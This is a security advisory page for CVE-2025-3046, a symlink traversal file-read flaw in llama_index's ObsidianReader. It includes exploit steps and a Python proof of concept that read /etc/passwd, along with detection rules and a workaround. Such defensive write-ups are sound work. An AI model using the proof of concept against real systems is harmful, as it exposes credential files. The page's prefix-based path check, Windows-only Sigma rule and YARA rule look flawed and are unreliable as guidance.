CVE-2025-3046
Executive Summary
CVE-2025-3046 is a high-severity vulnerability (CVSS 7.5) in the ObsidianReader class of the run-llama/llama_index repository, affecting versions 0.12.23 through 0.12.28. The flaw allows an attacker to read arbitrary files on the host system by exploiting a symlink traversal weakness. The ObsidianReader fails to resolve symbolic links to their real paths and does not validate whether the resolved paths remain within the intended vault directory. This enables an attacker to place a malicious symlink pointing to a sensitive file (e.g., /etc/passwd) inside the vault directory; when the reader processes Markdown files, it follows the symlink and reads the target file, potentially exposing confidential information.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the llama_index Python package, which is distributed via PyPI. Users who install versions 0.12.23 through 0.12.28 are at risk. The package is widely used in AI/ML pipelines for indexing and querying documents, making this a supply chain risk for organizations that rely on this library. No official patch has been released as of the advisory date.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be triggered remotely if an attacker can supply a crafted vault directory.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the affected resource are in the same security authority.
- Confidentiality Impact: High (C:H) – Arbitrary file read can expose sensitive data.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The vulnerability is easy to exploit remotely with no authentication, and it can lead to significant data leakage.
Deep Dive & Mechanics
The ObsidianReader class is designed to read Markdown files from an Obsidian vault directory. The vulnerability arises from two key flaws:
Symlink Resolution Failure: The code does not call
os.path.realpath()or equivalent to resolve symbolic links before processing files. When iterating over files in the vault directory, it usesos.path.join()andos.listdir()which do not resolve symlinks.Path Validation Absence: There is no check to ensure that the resolved path of a file (after following symlinks) remains within the intended vault directory. This allows a symlink pointing to
/etc/passwdto be treated as a valid Markdown file.
Attack Scenario:
- An attacker gains write access to the vault directory (e.g., through a file upload feature or a compromised user).
- The attacker creates a symbolic link inside the vault:
ln -s /etc/passwd malicious_link.md - When
ObsidianReaderprocesses the vault, it readsmalicious_link.md, follows the symlink, and reads/etc/passwd. - The content is then indexed and potentially exposed to the attacker through the application's output.
Vulnerable vs. Patched Code
Vulnerable Code (llama_index 0.12.23-0.12.28):
class ObsidianReader:
def __init__(self, vault_dir: str):
self.vault_dir = vault_dir
def load_data(self):
files = []
for root, dirs, filenames in os.walk(self.vault_dir):
for filename in filenames:
if filename.endswith('.md'):
filepath = os.path.join(root, filename)
# No symlink resolution or path validation
with open(filepath, 'r') as f:
content = f.read()
files.append(content)
return files
Patched Code (Hypothetical Fix):
import os
class ObsidianReader:
def __init__(self, vault_dir: str):
self.vault_dir = os.path.realpath(vault_dir)
def load_data(self):
files = []
for root, dirs, filenames in os.walk(self.vault_dir):
for filename in filenames:
if filename.endswith('.md'):
filepath = os.path.join(root, filename)
real_path = os.path.realpath(filepath)
# Validate that the resolved path is within the vault directory
if not real_path.startswith(self.vault_dir):
continue # Skip symlinks pointing outside
with open(real_path, 'r') as f:
content = f.read()
files.append(content)
return files
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Write access to the Obsidian vault directory (e.g., via file upload or shared filesystem).
- Target running
llama_indexversion 0.12.23-0.12.28.
Exploitation Steps:
- Create a malicious symlink inside the vault directory:
ln -s /etc/passwd /path/to/vault/malicious_link.md - Trigger the
ObsidianReaderto process the vault (e.g., by callingload_data()). - The reader will read
/etc/passwdand include its content in the output.
Proof of Concept (Python):
import os
from llama_index.readers.obsidian import ObsidianReader
# Assume attacker has write access to /tmp/vault
vault_dir = "/tmp/vault"
os.makedirs(vault_dir, exist_ok=True)
os.symlink("/etc/passwd", os.path.join(vault_dir, "evil.md"))
reader = ObsidianReader(vault_dir)
data = reader.load_data()
print(data) # Contains /etc/passwd content
Blue Team (Defender)
Detection:
- Monitor for unexpected symlinks in vault directories.
- Use file integrity monitoring (FIM) to detect creation of symlinks in sensitive directories.
- Implement path validation in custom code if using
ObsidianReader.
Mitigation:
- Upgrade to a patched version once available.
- If patching is not possible, implement a wrapper that resolves symlinks and validates paths before passing the directory to
ObsidianReader. - Restrict write access to vault directories to trusted users only.
Indicators of Compromise (IOCs)
File System:
- Unexpected symlinks in Obsidian vault directories pointing to sensitive files (e.g.,
/etc/passwd,/etc/shadow,/proc/1/environ). - Files with
.mdextension that are actually symlinks to non-Markdown files.
- Unexpected symlinks in Obsidian vault directories pointing to sensitive files (e.g.,
Network:
- Unusual outbound data containing sensitive file contents (e.g., password hashes, configuration files).
Logs:
- Application logs showing file read errors or unexpected file paths.
- Security logs indicating symlink creation events in vault directories.
Detection Engineering
YARA Rule
rule CVE_2025_3046_Symlink_Read
{
meta:
description = "Detects symlink files in Obsidian vault directories that may be used for arbitrary file read"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3046"
strings:
$symlink_magic = { 21 00 00 00 00 00 00 00 } // NTFS symlink reparse point (Windows)
$unix_symlink = { 2F 65 74 63 2F 70 61 73 73 77 64 } // "/etc/passwd"
condition:
$symlink_magic or $unix_symlink
}
Sigma Rule
title: CVE-2025-3046 - Symlink Traversal in ObsidianReader
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation of symlinks in Obsidian vault directories that could lead to arbitrary file read
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
service: sysmon
detection:
selection:
EventID: 11 # FileCreate
TargetFilename|contains: '\.md'
TargetFilename|endswith: '\.md'
condition: selection
falsepositives:
- Legitimate symlinks created by users
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3046 - Potential Symlink Traversal in ObsidianReader"; flow:to_server,established; content:"/etc/passwd"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the use of
ObsidianReaderin production environments until a patch is applied. - Patch: Monitor the
run-llama/llama_indexrepository for an official fix. Apply the patch as soon as it is released. - Workaround: Implement a wrapper that resolves symlinks and validates paths before passing the directory to
ObsidianReader:import os from llama_index.readers.obsidian import ObsidianReader class SafeObsidianReader: def __init__(self, vault_dir: str): self.vault_dir = os.path.realpath(vault_dir) self.reader = ObsidianReader(self.vault_dir) def load_data(self): # Override to add validation files = [] for root, dirs, filenames in os.walk(self.vault_dir): for filename in filenames: if filename.endswith('.md'): filepath = os.path.join(root, filename) real_path = os.path.realpath(filepath) if not real_path.startswith(self.vault_dir): continue with open(real_path, 'r') as f: content = f.read() files.append(content) return files - Access Control: Restrict write access to vault directories to only trusted users and processes.
- Monitoring: Implement file integrity monitoring (FIM) to detect unauthorized symlink creation in vault directories.
Valters IT
Securing Digital Frontiers